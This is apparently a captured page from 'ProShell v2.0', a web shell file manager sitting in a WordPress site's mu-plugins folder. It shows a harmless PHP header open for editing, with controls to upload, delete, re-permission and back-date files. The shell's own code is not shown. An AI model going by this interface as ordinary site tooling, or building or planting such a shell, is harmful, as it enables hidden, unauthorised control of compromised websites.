ProShell v2.0
Dashboard
Server Info
Server: 127.0.0.80
PHP: 8.3.31
home
clients
08ce2314c3c7e396ea36e41d2a860c5e
sites
filmerletravail.org
wp-content
mu-plugins
2026-08-23 11:07:01
Editing: zend_max_execution_timer.h
Cancel
Save Changes
/* +----------------------------------------------------------------------+ | Copyright (c) The PHP Group | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | https://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Author: Kévin Dunglas <kevin@dunglas.dev> | +----------------------------------------------------------------------+ */ #ifndef ZEND_MAX_EXECUTION_TIMER_H #define ZEND_MAX_EXECUTION_TIMER_H # ifdef ZEND_MAX_EXECUTION_TIMERS #include "zend_long.h" /* Must be called after calls to fork() */ ZEND_API void zend_max_execution_timer_init(void); void zend_max_execution_timer_settime(zend_long seconds); void zend_max_execution_timer_shutdown(void); # else #define zend_max_execution_timer_init() #define zend_max_execution_timer_settime(seconds) #define zend_max_execution_timer_shutdown() # endif #endif
Upload Files
Cancel
Upload
Create New
Cancel
Create
Change Permissions
Cancel
Save
Change Date
Cancel
Save
Rename Item
Cancel
Save
Confirm Delete
Are you sure you want to delete the selected items?
Cancel
Delete